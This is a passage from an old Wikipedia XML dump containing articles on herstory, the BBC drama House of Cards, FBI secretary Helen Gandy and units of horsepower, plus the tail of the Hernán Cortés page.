*[http://digital.library.wisc.edu/1711.dl/IbrAmerTxt Ibero-American Electronic Text Series] presented online by the [http://uwdc.library.wisc.edu/ University of Wisconsin Digital Collections Center].

&lt;!--[[image:Hernan_Fernando_Cortes.jpg|thumb|Hernán Cortés]]--&gt;

[[Category:1485 births|Cortés, Hernán]]
[[Category:1547 deaths|Cortés, Hernán]]
[[Category:Aztec history|Cortés, Hernán]]
[[Category:City founders|Cortés, Hernán]]
[[Category:Colonial Mexico|Cortés, Hernán]]
[[Category:Spanish explorers and conquistadores|Cortés, Hernán]]
[[Category:Spanish generals|Cortés, Hernán]]
[[Category:Spanish nobility|Cortés, Hernán]]

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  </page>
  <page>
    <title>Hernando Cortes</title>
    <id>14014</id>
    <revision>
      <id>15911595</id>
      <timestamp>2003-09-20T16:17:19Z</timestamp>
      <contributor>
        <username>Wik</username>
        <id>15756</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Hernán Cortés]]</text>
    </revision>
  </page>
  <page>
    <title>Herstory</title>
    <id>14015</id>
    <revision>
      <id>35844718</id>
      <timestamp>2006-01-19T19:08:00Z</timestamp>
      <contributor>
        <ip>205.240.227.15</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Herstory''' refers to [[history]] from a [[feminism|feminist]] perspective. The term originates as a [[pun]] on the word ''history'', replacing &quot;his&quot; story with &quot;her&quot; story. This term, even when used by most feminists, is meant in jest rather than from an actual desire to change the standard spelling of the word. Herstory does not mean the same thing as [[Women's History]].

The element &quot;his&quot; in the word ''history'', however, is not actually related to the [[English language|English]] third person masculine [[possessive pronoun]] ''his''. It derives from the ancient Greek word for 'investigation'.

The feminist who “etymologised” history as his story and proposed herstory as an antidote was not serious about the linguistics of the matter, but she was entirely serious about the gender-political point (male domination of history), which she communicated all the more effectively because of her good-humoured etymological fake. The term womanipulate for manipulate as man-ipulate (actually Latin manipulare, “to handle”, from manus, “hand”) was created in the same way.
== References ==
{{unreferenced}}
==See also==
* [[History of feminism]]
* [[Women in Cuba (Herstory)]] [http://en.wikipedia.org/wiki/History_of_Cuba#Women_in_Cuba_.28Herstory.29]
{{fem-stub}}
[[Category:Feminism]]
[[Category:Historiography]]

[[de:Frauengeschichte]]</text>
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  <page>
    <title>House of Cards</title>
    <id>14017</id>
    <revision>
      <id>42056432</id>
      <timestamp>2006-03-03T14:29:14Z</timestamp>
      <contributor>
        <username>Can't sleep, clown will eat me</username>
        <id>603177</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/85.12.65.33|85.12.65.33]] to last version by EdC</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = House of Cards |
  image          = HouseofCards.jpg |
  imdb_id        = 0098825 |
  director       = [[Paul Seed]] |
  writer         = [[Andrew Davies]]&lt;br&gt;[[Michael Dobbs]] |
  starring       = [[Ian Richardson]]&lt;br&gt;[[Susannah Harker]] |
  producer       = [[Ken Riddington]] |
  distributor    = [[BBC]] |
  released   = [[November 18]], [[1990]] |
  runtime        = 204 minutes |
  language = [[English Language|English]] |
  music          = [[Jim Parker]] |
  budget          = Unknown |
}}

'''''House of Cards''''' was a highly political television drama serial, made by the [[BBC]], which ran in [[1990]] at the end of [[Margaret Thatcher]]'s tenure as British [[Prime Minister]]. (House of Cards was also the name of an [http://www.imdb.com/title/tt0107148/ ''American movie (external link)''] starring [[Kathleen Turner]] and [[Tommy Lee Jones]].)  The story was adapted by [[Andrew Davies (writer)|Andrew Davies]] from a [[novel]] by [[Michael Dobbs]]. Dobbs's novel was dramatised for radio for BBC World Service in 1996, by Neville Teller.

In it, the fictional [[Chief Whip]], Francis Urquhart (the initials, &quot;F.U.&quot;, were deliberately chosen), played on TV by [[Ian Richardson]], is seen engaging in all the skulduggery of power politics, including murder, in his efforts to become Prime Minister. [[Susannah Harker]] plays Mattie Storin, the journalist who tries to uncover his misdeeds. There were two sequels: ''[[To Play the King]]'' in 1994 and ''[[The Final Cut (1995)|The Final Cut]]'' in 1995. 

Frequently during the drama Urquhart talks through the camera to the audience, breaking the '[[fourth wall]]'. The drama also introduced the phrase &quot;[[YMSTICPC|You Might Say That, I Couldn't Possibly Comment]]&quot; which was frequently used by Urquhart whenever he was asked a question to which he wanted to reply &quot;Yes&quot; but could not be quoted on. House of Cards draws heavily from [[William Shakespeare|Shakespeare's]] [[Macbeth]] and [[Richard III (play)|Richard III]], both of which examine issues of power, unbridled ambition and corruption.

{{spoiler}}

The House of Cards starts with Francis Urquhart sitting at a desk, commenting that 'even the most glittering reign must come to an end'. He is referring to Margaret Thatcher, who in the House of Cards universe has just left office. This then requires that the Tories (whom Urquhart is an MP and [[Chief Whip]] for) elect a new leader. This new leader is Henry ('Hal') Collingridge, a man who Urquhart is secretly contemptuous of ('no backbone and no bottom').

Their leader chosen, the Tories then face the next election. They win by a narrow majority of around 24 seats and Urquhart expects to be given a senior position in the Cabinet afterwards, and refers to a promise of just that by Collingridge. However, the newly elected PM does not give Urquhart a senior post, wanting him to remain Chief Whip. This antagonises Urquhart, who then resolves to get rid of Collingridge. To do this, he enlists the services of one of the Tories' PR consultants, Roger O'Neill, who has a cocaine habit that had been funded by his Tory expense account. Urquhart, as Chief Whip, threatens to expose this unless O'Neill does as he says. 

O'Neill then works to undermine Collingridge, two examples of this being that he gives an opposition MP information that would make the prime minister look bad at [[Question Time]] and also setting the scene for Urquhart himself to pose as Collingridge's brother, Charles, so that he can trade in Mendox Chemicals, a company about to benefit from the government. As a result of the latter, Collingridge becomes accused of insider trading and this, combined with his eroding image and his bad showing at the Brighton Party Conference, which is covered in the series, eventually force him to resign.

The second half of House of Cards then deals with the way Urquhart gets himself chosen as Leader of the Tories and Prime Minister. At first pretending to be unwilling to stand, he eventually announces his intention to run and goes about making sure his competitors can't win, with the help of his friend and underling, the weasel-ish Tim Stamper (played by [[Colin Jeavons]]). His rivals are eliminated as follows:

*Harold Earle &amp;mdash; Education. Blackmailed into withdrawing by pictures involving him, a [[rentboy]] and an act of [[Fellatio]].
*Peter MacKenzie &amp;mdash; Health. Hit by bad PR after an incident staged by Urquhart involving his car running over a disabled person, forced to withdraw.
*Patrick Woolton &amp;mdash; Foreign Secretary.Blackmailed into withdrawing by an audio tape of him having sex with one of Roger's aides.
*Michael Samuels &amp;mdash; Enviroment. Has his reputation tarnished when it leaks that he was in favour of Homosexuals, Nuclear Disarmament and Communism in his student days (the old Tory point of view on this &amp;mdash; and, some would argue, the current one &amp;mdash; frowns on these things).

Roger himself becomes increasingly unstable, both due to his cocaine habit and the fact that a journalist, Mattie Storin, who has been following Urquhart (and indeed sleeping with him) is beginning to figure out that all of the events of the story are the work of Urquhart and, by extension, Roger. In the end, Urquhart kills Roger by getting him drunk, then mixing his cocaine with rat poison while Roger sleeps. When Roger wakes up, he leaves the Urquhart residence, takes the cocaine in the lavatory of a motorway rest-stop, and dies.

The House of Cards ends with Mattie Storin looking for Urquhart at the point when it looks like his victory is certain. She eventually finds him in the Roof Garden of the [[Palace of Westminster|Houses of Parliament]], where she confronts him. He admits to what he has done, then asks whether he can trust her. Despite Mattie saying yes, he says he doesn't believe her and throws her off the roof, killing her.

==Trivia==
[[Image:Ian HouseofCards.jpg|thumb|230px|Main character [[Francis Urquhart]] played by [[Ian Richardson]].]]
* There is a roof terrace which is three floors up from the House of Commons. Only those in possession of a full Parliamentary pass can get through the security door leading to it. The terrace overlooks Star Chamber Court where Post Office vans park.
* Ian Richardson said he based his performance of the scheming Francis Urquhart on the way Shakespeare portrayed Richard III.
* By complete chance, the first BBC showing of the series exactly coincided with the real life Tory leadership contest: the dramatic removal from office of Margaret Thatcher.
* It has been said that Richardson agreed to appear in a third series only on the understanding that the character got his come-uppance.

==Notable differences from the book==

In the book:
* Mattie Storin does not have a relationship with Urquhart or even talk with him frequently; she does have a sexual relationship with John Krajewski.
* Urquhart's wife is called &quot;Miranda&quot; and is an extremely minor character, not sharing in his schemes.
* Tim Stamper does not exist.
* Urquhart is much less self-assured and decisive.
* Earle's rent boy appears in person at an important speech of his, distracting him; subsequently, Earle is harassed by reporters who have been told of his indiscretion.
* At the end, Urquhart threatens to kill Mattie Storin by hitting her with a chair, but refrains in a fit of cowardice, and jumps off the roof to his death after she leaves the roof garden.

==External links==
* {{imdb title|id=0098825|title=House of Cards}}
* [http://www.bbc.co.uk/bbcfour/cinema/features/house_of_cards.shtml ''House of Cards''] at [[BBC Four]]
*[http://www.action-tv.org.uk/guides/housecards.htm ''House Of Cards''] at Action TV
*[http://www.screenonline.org.uk/tv/id/539920/index.html ''House of Cards''] at [[British Film Institute]] Screen Online

[[Category:BBC television programmes]]
[[Category:Television miniseries]]
[[Category:Television programs based on novels]]</text>
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  </page>
  <page>
    <title>Helen Gandy</title>
    <id>14018</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>40478823</id>
      <timestamp>2006-02-20T21:33:17Z</timestamp>
      <contributor>
        <username>Kmf164</username>
        <id>94080</id>
      </contributor>
      <comment>adjust img size, Hoover-JEdgar-LOC.jpg</comment>
      <text xml:space="preserve">{{featured article}}
{{Infobox Biography|image_name=HelenWGandy.jpg
| subject_name=Helen Gandy
| image_caption=Helen Gandy at her desk at Bureau headquarters in the Department of Justice Building, circa [[1940]].
| date_of_birth=[[April 8]], [[1897]]
| place_of_birth=[[Rockville, New Jersey]]
| date_of_death=[[July 7]], [[1988]]
| place_of_death=(heart attack) [[DeLand, Florida]] (''New York Times'' obituary) [[Orange City, Florida]] (''Post'' obituary)}}
'''Helen W. Gandy''' ([[April 8]], [[1897]] – [[July 7]], [[1988]]) was an [[United States|American]] [[Civil service|civil servant]].  Gandy, who at age twenty-one left her native [[New Jersey]] for [[Washington, D.C.]], was the [[secretary]] to [[Federal Bureau of Investigation]] director [[J. Edgar Hoover]] for fifty-four years.  Hoover called her &quot;indispensable&quot; and she exercised great behind-the-scenes influence on Hoover and the workings of the Bureau.  Following Hoover's death in [[1972]], she spent weeks destroying his &quot;Personal File,&quot; thought to be where the most incriminating material he used to manipulate and control the most powerful figures in Washington was kept.

==Background==
[[Image:Annie Gandy.jpg|frame|right|Annie Gandy, her mother, painted by [[Thomas Eakins]].]]

Gandy, &quot;a [[wraith]]-like, grim-faced spinster from [[New Jersey]]&quot; (in Athan Theoharis and John Cox's phrase), was born in [[Rockville, New Jersey|Rockville]], one of three children (two daughters and a son) of Franklin Dallas and Annie (Williams) Gandy.  She grew up in [[Fairton, New Jersey|Fairton]] or [[Port Norris, New Jersey|Port Norris]] (sources differ) and graduated from [[Bridgeton, New Jersey|Bridgeton]] High School.  In [[1918]], aged twenty-one, she moved to [[Washington, D.C.]], where she later took classes at Strayer Business College and [[George Washington University]]'s [[law school]].

Gandy briefly worked in a department store in Washington before she found a job as a file clerk at the [[United States Department of Justice|Justice Department]] in [[1918]].  Within weeks, she went to work as a typist for Hoover, effective [[March 25]], [[1918]], having told Hoover in her interview she had &quot;no immediate plans to marry.&quot;  She, like Hoover, would never marry, both being [[J._Edgar_Hoover#Personal_life|completely devoted]] to the Bureau.

[[Image:Hoover-JEdgar-LOC.jpg|thumb|right|225px|[[J. Edgar Hoover]], director of the F.B.I, photographed in 1961.  Gandy worked for him from 1921 to his death in 1972.]]

When Hoover went to the Bureau of Investigation (as it was then known) as its assistant director on [[August 22]], [[1921]], he specifically requested Miss Gandy return from vacation to help him in the new post.  Hoover became director of the Bureau in [[1924]] and Gandy continued in his service.  She was promoted to &quot;office assistant&quot; on [[August 23]], [[1937]], and &quot;executive assistant&quot; on [[October 1]], [[1939]].  Though she would receive promotions in her [[civil service]] grade subsequently, she would retain her title as executive assistant to her retirement on [[May 2]], [[1972]], the day Hoover died.  Hoover said of her &quot;if there is anyone in this Bureau whose services are indispensable I consider Miss Gandy to be that person.&quot;  Despite this, Curt Gentry reported:

:Theirs was a rigidly formal relationship.  He'd always called her 'Miss Gandy' (when angry, barking it out as one word).  In all those fifty-four years he had never once called her by her first name.

Theoharis and Cox would say &quot;her stern face recalled [[Cerberus]] at the gate,&quot; a view echoed by Anthony Summers in his life of Hoover, who also pictured Gandy as Hoover's first line of defense against the outside world.  When [[United States Attorney General|Attorney General]] [[Robert F. Kennedy]], Hoover's nominal boss, had a direct telephone line installed between their offices, Hoover refused to answer the phone.  &quot;Put that damn thing on Miss Gandy's desk where it belongs,&quot; Hoover would declare. 

Curt Gentry would describe her influence:
:Her genteel manner and pleasant voice contrasted sharply with this domineering presence.  Yet behind the politeness was a resolute firmness not unlike his, and no small amount of influence.  Many a career in the Bureau had been quietly manipulated by her.

:Even those who disliked him, praised her, most often commenting on her remarkable ability to get along with all kinds of people.  That she had held her position for fifty-four years was the best evidence of this, for it was a Bureau tradition that the closer you were to him, the more demanding he was.

William C. Sullivan, an agent with the Bureau for three decades, reported in his memoir when he worked in the public relations section answering mail from the public, he  gave a correspondent the wrong measurements for Hoover's personal popover recipe, relying on memory rather than the files.  Gandy, ever protective of her boss, caught the error and brought it to Hoover's attention.  The director then placed an official letter of reprimand in Sullivan's file for the lapse.  [[W. Mark Felt]], deputy associate director of the Bureau, wrote in his memoir that Gandy &quot;was bright and alert and quick-tempered&amp;mdash;and completely dedicated to her boss.&quot;

==The Files==
[[J. Edgar Hoover]] died during the night of [[May 1]]-[[May 2]], [[1972]].  When his housekeeper, Annie Fields, discovered the body on the morning of the second, her second call (after telephoning acting director [[Clyde Tolson]]) was to Gandy, who learned the news at 8:40 A.M.  Within an hour, the &quot;D List&quot;, &quot;d&quot; standing for destruction, was being distributed and the destruction of files began.  However, ''[[The New York Times]]'' quoted an anonymous F.B.I. source in the spring of [[1975]] that &quot;Gandy had begun almost a year before Mr. Hoover's death and was instructed to purge the files that were then in his office.&quot;

[[Image:Patrickgrey.jpeg|right|frame|[[L. Patrick Gray]], was appointed Acting FBI Director by President Nixon after Hoover's death.]]
Anthony Summers reported that [[G. Gordon Liddy]] stated his sources in the F.B.I. said &quot;by the time [[L. Patrick Gray|Gray]] went in to get the files, Miss Gandy had already got rid of them.&quot;  The day after Hoover died, [[L. Patrick Gray]], who had been named acting director by President [[Richard Nixon]] upon Tolson's resignation from that position, went to Hoover's office.  Gandy paused from her work to give Gray a tour.  He found file cabinets open and packing boxes being filled with papers.  She informed him the boxes contained personal papers of Hoover's.  Gandy stated Gray flipped through a few files and approved her work, but Gray was to deny he looked at any papers.  Gandy also told Gray it would be a week before she could clear Hoover's effects out so he could move into the suite.

Gray reported to Nixon that he had secured Hoover's office and its contents.  However, he had sealed only Hoover's personal inner office, where no files were stored, not the entire suite of offices.  Since [[1957]], Hoover's &quot;Official/Confidential&quot; files, containing material too sensitive to include in the Bureau's central files, had been kept in the outer office, where Gandy sat. Curt Gentry reported that Gray would not have known where to look in Gandy's office for the files, as her office was lined floor to ceiling with filing cabinets.  And without her index to the files, he would not have been able to locate incriminating material for files were deliberately mislabeled, e.g. President Nixon's file was labeled &quot;Obscene Matters&quot;.

The next day, [[May 4]], she turned over twelve boxes of the &quot;Official/Confidential&quot; containing 167 files and 17,750 pages to [[W. Mark Felt|Mark Felt]].  Many of them contained derogatory information.  Gray told the press that afternoon that &quot;there are no dossiers or secret files.  There are just general files and I took steps to preserve their integrity.&quot;  Gandy retained the &quot;Personal File&quot;.

Gandy worked on going through Hoover's &quot;Personal File&quot; in the office until [[May 12]].  She then transferred at least thirty-two file drawers of material to the basement rec room of Hoover's Washington home at [http://www.mapquest.com/maps/map.adp?searchtype=address&amp;country=US&amp;addtohistory=&amp;searchtab=home&amp;address=4936+30th+place+nw&amp;city=washington&amp;state=dc&amp;zipcode= 4936 Thirtieth Place, Northwest], where she would continue her work from [[May 13]] to [[July 17]].  Gandy later testified nothing official had been removed from the Bureau's offices, &quot;not even his badge.&quot;  There the destruction was overseen by [[John P. Mohr]], the number three man in the Bureau after Hoover and Tolson.  They were aided by [[James Jesus Angleton]], the [[Central Intelligence Agency]]'s counterintelligence chief, whom Hoover's neighbors saw removing boxes from Hoover's home.  Mohr would claim the boxes Angleton removed were cases of spoiled wine.

When the [[United States House of Representatives|House]] [[U.S. House Committee on Government Oversight|Committee on Government Oversight]] investigated the F.B.I.'s spying on and harassment of [[Martin Luther King, Jr.]] and others in [[1975]], Gandy was called to testify.  &quot;I tore them up, put them in boxes, and they were taken away to be shredded,&quot; she told the congressmen about the papers.  The Bureau's Washington field office had F.B.I. drivers transport the material to Hoover's home, then once Gandy had gone through the material, the drivers transported it back to the field office in the [[Old Post Office Building (Washington)|Old Post Office Building]] on Pennsylvania Avenue where it was shredded and burned.

Gandy stated that Hoover had left standing instructions to destroy his personal papers upon his death and that this instruction was confirmed by Tolson and Gray.  Gandy stated that she destroyed no official papers, that everything was personal papers of Hoover.  The staff of the subcommittee did not believe her, but she told the committee &quot;I have no reason to lie.&quot;  Representative [[Gene Andrew Maguire]] ([[United States Democratic Party|D]]-[[New Jersey]]), a freshman member of the [[Ninety-fourth Congress of the United States|94th Congress]], said &quot;I find your testimony very difficult to believe.&quot;  Gandy held her ground:  &quot;That is your privilege.&quot;

&quot;I can give you my word.  I know what there was&amp;mdash;letters to and from friends, personal friends, a lot of letters,&quot; she testified. Gandy also said the files she took to his home also included his financial papers, such as tax returns and investment statements, the deed to his home, and papers relating to his dogs' pedigrees.

Curt Gentry wrote

:Helen Gandy must have felt quite safe in testifying as she did for who could contradict her?  Only one other person knew exactly what the files contained and he was dead.

==Later years==
While she officially retired the day Hoover died, she spent the next few weeks destroying his papers and Hoover left her $5,000 in his will.  In [[1961]], she and her sister, Lucy G. Rodman, donated a portrait of their mother by [[Thomas Eakins]] to the [[Smithsonian Museum of American Art]] [http://americanart.si.edu/search/search_artworks1.cfm?StartRow=1&amp;format=long&amp;db=all&amp;LastName=&amp;FirstName=&amp;Title=&amp;Accession=1961.11.12&amp;Keyword=].  Gandy lived in [[Washington, D.C.]], until [[1986]], when she moved to [[DeLand, Florida]], where a niece lived.  An avid [[trout]] fisherman (according to her ''[[The Washington Post|Washington Post]]'' obituary), she died of a heart attack in [[1988]], either in DeLand (says her ''[[The New York Times|New York Times]]'' obituary) or in [[Orange City, Florida]] (says her ''Post'' obituary).

==References==
*John Crewdson.  &quot;U.S. Investigating Missing F.B.I. Data.&quot; '' [[The New York Times]]''.  [[June 7]], [[1972]].  14.
*[[W. Mark Felt]].  ''The FBI Pyramid:  From the Inside''.  New York:  G.P. Putnam's Sons, [[1979]].  (ISBN 0399119043).
*Franklin Dallas Gandy.  Post on [[MyFamily.com, Inc.|Ancestry.com]] [http://boards.ancestry.com/mbexec/message/an/surnames.gandy/455].  Retrieved [[July 18]], [[2005]].
*Curt Gentry. '' [[J. Edgar Hoover]]:  The Man and the Secrets''.  New York:  W.W. Norton, [[1991]].  (ISBN 0393024040)
*Richard Hack.  ''Puppetmaster:  The Secret Life of [[J. Edgar Hoover]]''.  Beverly Hills, California:  New Millennium Press, [[2004]].  (ISBN 1893224872)
*&quot;Helen W. Gandy, FBI Secretary.&quot;  ''[[The Washington Post]]''.  [[July 13]], [[1988]]. C8.
*&quot;Helen W. Gandy, Secretary, 91.&quot;  ''[[The New York Times]]''.  [[July 16]], [[1988]]. 33.
*&quot;Hoover's Political Spying for Presidents&quot;. '' [[Time (magazine)|Time Magazine]].''  [[December 15]], [[1975]]. [http://www.time.com/time/archive/preview/0,10987,879504,00.html]
*&quot;Obituaries&quot;.  ''[[Orlando Sentinel]]''.  [[July 9]], [[1988]].  D10.
*[http://ssdi.rootsweb.com/cgi-bin/ssdi.cgi?lastname=gandy&amp;firstname=helen&amp;start=11 Roots.com Social Security Death Index]. Retrieved July 17, 2005. 
*William C. Sullivan with Bill Brown.  ''The Bureau:  My Thirty Years in Hoover's F.B.I''.  New York:  W.W. Norton, [[1979]].  (ISBN 0393012360)
*[[Anthony Summers]].  ''Official and Confidential:  The Secret Life of [[J. Edgar Hoover]]''.  New York:  G.P. Putnam's Sons, [[1993]].  (ISBN 0399138005)
*[[Athan G. Theoharis]] and John Stewart Cox.  ''The Boss:  J. Edgar Hoover and the Great American Inquisition''.  Philadelphia:  [[Temple University]] Press, [[1987]].  (ISBN 087722532X)
*[[Athan G. Theoharis]], Tony G. Poveda, Susan Rosefeld, and Richard Gid Powers.  ''The FBI:  A Comprehensive Reference Guide''.  New York:  Checkmark Books, [[2000]].  (ISBN 0816042284)
*Robert McG. Thomas.  &quot;[[John Mohr]], 86, Hoover Confident and Ally at F.B.I.&quot;  ''[[The New York Times]]''.  [[February 1]], [[1997]].  26.
*&quot;The Truth About Hoover&quot; (cover story)  ''[[Time Magazine]]''.  [[December 22]], [[1975]]. [http://www.time.com/time/archive/preview/0,10987,879566,00.html]
*[[United Press International]].  &quot;Secretary Says She Destroyed Hoover's Letters on His Orders.&quot;  ''[[The New York Times]]''.  [[December 2]], [[1975]].  14.
*United States.  [[Congress of the United States|Congress]].  [[United States House of Representatives|House of Representatives]].  [[U.S. House Committee on Government Operations|Committee on Government Operations]].  Subcommittee on Government Information and Individual Rights.  ''Inquiry Into the Destruction of Former FBI Director [[J. Edgar Hoover]]'s Files and FBI Recordkeeping:  Hearing Before a Subcommittee of the Committee on Government Operations, House of Representatives, [[Ninety-fourth Congress|94th Congress]], December 1, 1975''.  Washington, D.C.:  [[United States Government Printing Office]], [[1975]].

==External links==
{{Spoken Wikipedia|Helen_Gandy.ogg|2005-08-09}}

*Attorney General [[Griffin Bell]]'s [http://www.martykaiser.com/fbi1~1a.htm statement on the investigation into the destruction of the files]:

[[Category:1897 births|Gandy, Helen]]
[[Category:1988 deaths|Gandy, Helen]]
[[Category:Federal Bureau of Investigation|Gandy, Helen]]
[[Category:People from New Jersey|Gandy, Helen]]</text>
    </revision>
  </page>
  <page>
    <title>Horsepower</title>
    <id>14019</id>
    <revision>
      <id>40048411</id>
      <timestamp>2006-02-17T19:31:02Z</timestamp>
      <contributor>
        <ip>134.129.244.145</ip>
      </contributor>
      <comment>/* Brake horsepower (bhp) */</comment>
      <text xml:space="preserve">:''This article is about the unit of measurement.  For the machine which used horses to generate power, see [[horse power (machine)]]''.

The '''horsepower''' ('''hp''') is the name of several non-metric [[unit]]s of [[Power (physics)|power]]. In scientific discourse the term &quot;horsepower&quot; is rarely used due to the various definitions and the existence of an [[SI]] unit for power, the [[watt]] (W). However, the idea of horsepower persists as a legacy term in many languages, particularly in the [[automobile|automotive]] industry for listing the maximum power of [[internal-combustion engine]]s.

The various types of horsepower (metric) are:

== Horsepower (hp) ==
According to the most common definition of horsepower, one horsepower is defined as:

: 1 hp = 33,000 [[foot (unit of length)|ft]]·[[pound-force|lbf]]·[[minute|min]]&lt;sup&gt;−1&lt;/sup&gt; = exactly 745.69987158227022 W

A common memory aid is based on the fact that [[Christopher Columbus]] first sailed to [[the Americas]] in [[1492]]. The memory aid states that 1 hp = 1/2 Columbus or 746 W.

: ''In fourteen hundred and ninety-two''
: ''Columbus sailed the ocean blue''.
: ''Divide that [[son of a gun|son-of-a-gun]] by two''
: ''And that's the number of watts in a horsepower too''. 

The horsepower was first used by [[James Watt]] during a business venture where his [[steam engine]]s replaced [[horse]]s.  It was defined that a horse can lift 33,000 [[pound-force|pounds force]]  with a speed of 1 [[foot (unit of length)|foot]] per [[minute]]: 33,000 [[foot (unit of length)|ft]]·[[pound-force|lbf]]·[[minute|min]]&lt;sup&gt;−1&lt;/sup&gt;.  This is sometimes called a ''mechanical'' horsepower to distinguish it from the other definitions of horsepower below.

==Engine horsepower==
The power of an engine may be measured or estimated at several points in the transmission of the power from its generation to its application. A number of names are used for the power developed at various stages in this process:

=== Indicated horsepower (ihp) ===
''Indicated horsepower'' is the theoretical power of a reciprocating engine assuming that it is completely efficient in converting the energy contained in the expanding gases in the cylinders.  It is calculated from the pressures developed in the cylinders, measured by a device called an ''engine indicator'' - hence indicated horsepower. It was the figure normally used for [[steam engine]]s in the [[19th century]] but is misleading because the mechanical efficiency of an engine means that the actual power output may be only 70% to 90% of the indicated horsepower.

=== Brake horsepower (bhp) ===

Brake Horsepower (bhp) - The measure of horsepower at maximum engine output, minus power lost from heat, friction, expansion of the engine, etc.

==== hp (SAE)====
In the United States the term &quot;bhp&quot; fell into disuse after the American [[Society of Automotive Engineers]] (SAE) recommended manufacturers use &quot;hp (SAE)&quot; to indicate the power of the engine, given that particular car's complete engine installation. It measures engine power at the [[flywheel]], not counting drivetrain losses.

Prior to [[1972]] most American automakers rated their engines in terms of '''SAE gross horsepower''' (defined under SAE standards J245 and J1995). Gross hp was measured using a blueprinted test engine running on a stand without accessories, mufflers, or emissions control devices. It therefore reflected a maximum, theoretical value, not the power of an installed engine in a street car. Gross horsepower figures were also subject to considerable adjustment by carmakers: the power ratings of mass-market engines were often exaggerated, while those for the highest-performance [[muscle car]] engines were frequently underrated. 

Starting in [[1971]] automakers began to quote power in terms of '''SAE net horsepower''' (as defined by standard J1349). This reflected the rated power of the engine in as-installed trim, with all accessories and standard intake and exhaust systems. By 1972 U.S. carmakers quoted power exclusively in SAE net hp. The change was meant to 'deflate' power ratings to assuage the [[auto insurance]] industry and environmental and safety lobbies, as well as to obfuscate the power losses caused by [[smog|emissions]]-control equipment. 

SAE net ratings, while more accurate than gross ratings, still represent the engine's power at the flywheel. Contrary to some reports, it does ''not'' measure power at the drive wheels.

Because SAE gross ratings were applied liberally, at best, there is no precise conversion from gross to net. Comparison of gross and net ratings for unchanged engines show a variance of anywhere from 40 to 150 horsepower. The [[Chrysler]] [[426 Hemi]], for example, in 1971 carried a 425 hp gross rating (often considered to be underrated) and a net rating of 375 hp.

==== hp (DIN) ====
This is the power measured according to the German standard DIN 70020. It is measured at the flywheel, and is in practical terms equivalent to the SAE net figure. However, be aware that DIN &quot;horsepower&quot; may in fact be expressed in PS (Pferdestärke) - see &quot;Metric horsepower&quot; below.

==== SAE-certified horsepower ====
In [[2005]], the [[Society of Automotive Engineers]] introduced a new test procedure ([http://www.sae.org/certifiedpower J2723]) for engine horsepower and [[torque]].  The procedure eliminates some of the areas of flexibility in power measurement, and requires an independent observer present when engines are measured.  The test is voluntary, but engines completing it can be advertised as &quot;SAE-certified&quot;.

Many manufacturers began switching to the new rating immediately, often with surprising results.  The rated output of [[Cadillac]]'s [[supercharged|supercharger]] [[GM Premium V engine#Supercharged|Northstar]] V8 jumped from 440&amp;nbsp;hp (328&amp;nbsp;kW) to 469&amp;nbsp;hp (350&amp;nbsp;kW) under the new tests, while the rating for [[Toyota Motor Corporation|Toyota]]'s [[Toyota Camry|Camry]] 3.0&amp;nbsp;L ''[[Toyota MZ engine#1MZ-FE|1MZ-FE]]'' V6 fell from 210&amp;nbsp;hp (157&amp;nbsp;kW) to 190&amp;nbsp;hp (142&amp;nbsp;kW).  The first engine certified under the new program was the 7.0&amp;nbsp;L [[GM LS engine#LS7|LS7]] used in the 2006 [[Chevrolet Corvette]] Z06.  Certified power rose slightly from 500&amp;nbsp;hp (373&amp;nbsp;kW) to 505&amp;nbsp;hp (377&amp;nbsp;kW).

=== Drawbar horsepower (dbhp) ===
''Drawbar horsepower'' is the power a [[railroad]] [[locomotive]] has available to haul a [[train]] or an agricultural tractor to pull an implement.  This is a measured figure rather than a calculated one.  A special [[railroad car]] called a [[dynamometer]] car coupled behind the locomotive keeps a continuous record of the [[drawbar]] pull exerted, and the speed.  From these, the power generated can be calculated.  To determine the maximum power available, a controllable load is required; this is normally a second locomotive with its brakes applied, in addition to a static load.

If the drawbar force is measured [[pounds-force]] (&lt;math&gt;F / {\rm lbf}&lt;/math&gt;) and speed is measured in miles per hour (&lt;math&gt;v / ({\rm mi/h})&lt;/math&gt;), then the drawbar power in horsepower (&lt;math&gt;P / {\rm hp}&lt;/math&gt;) is:

:&lt;math&gt;P / {\rm hp} = {[F / {\rm lbf}] [v / ({\rm mi/h})] \over 375}&lt;/math&gt;.

Example: How much drawbar power is needed to pull a cultivator load of 2025 pounds-force through medium soil at 5 miles per hour?

&lt;math&gt;P / {\rm hp} = {{2025 \times 5 } \over 375} = 27&lt;/math&gt;.

The constant &quot;375&quot; is because 1 hp = 375 lbf·mi/h. If other units are used, the constant is different. When using a coherent system of units, such as [[SI]] (watts, newtons, and metres per second), no constant is needed, and the formula becomes &lt;math&gt;P = Fv&lt;/math&gt;.

=== Shaft horsepower (shp) ===
''Shaft horsepower'' is the power delivered to the [[propellor]] shaft of a [[ship]] or [[turboprop]] airplane. This may be measured, or estimated from the indicated horsepower given a standard figure for the losses in the transmission (typical figures are around 10%).

=== Effective horsepower (ehp) ===
''Effective horsepower'' is the power converted to useful work. In the case of a vehicle this is the power actually turned into forward motion.

===Summary for a ship===
Indicated horsepower (theoretical capability of the engine)
:minus frictional losses within the engine (bearings, rods, etc), equals
Brake horsepower (power delivered directly by the engine)
:minus frictional losses in the transmission (bearings, gears, etc.), equals
Shaft horsepower (power delivered to the shaft)
:minus shaft losses (slip, [[cavitation]], etc), equals
Effective horsepower

== RAC horsepower (taxable horsepower) ==
This measure was instituted by the [[Royal Automobile Club]] in [[United Kingdom|Britain]] and used to denote the power of early [[20th century]] British [[automobile|cars]]. Many cars took their names from this figure (hence the [[Austin Motor Company|Austin]] Seven and [[Riley (automobile)|Riley]] Nine), while others had names such as &quot;40/50hp&quot;, which indicated the RAC figure followed by the true measured power.

Taxable horsepower does not reflect developed horsepower; rather, it is a calculated figure based on the engine's bore size, number of cylinders, and a (now archaic) presumption of engine efficiency. As new engines were designed with ever-increasing efficiency, it was no longer a useful measure, but was kept in use by UK regulations which used the rating for [[tax horsepower|tax purposes]].

:&lt;math&gt;RAC h.p. = {D^2 * n}/2.5 \,&lt;/math&gt;

:where

: ''D'' is the diameter (or bore) of the cylinder in inches
: ''n'' is the number of cylinders

This is equal to the displacement in cubic inches divided by 10π then divided again by the stroke in inches. [http://www.designchambers.com/wolfhound/wolfhoundRACHP.htm]

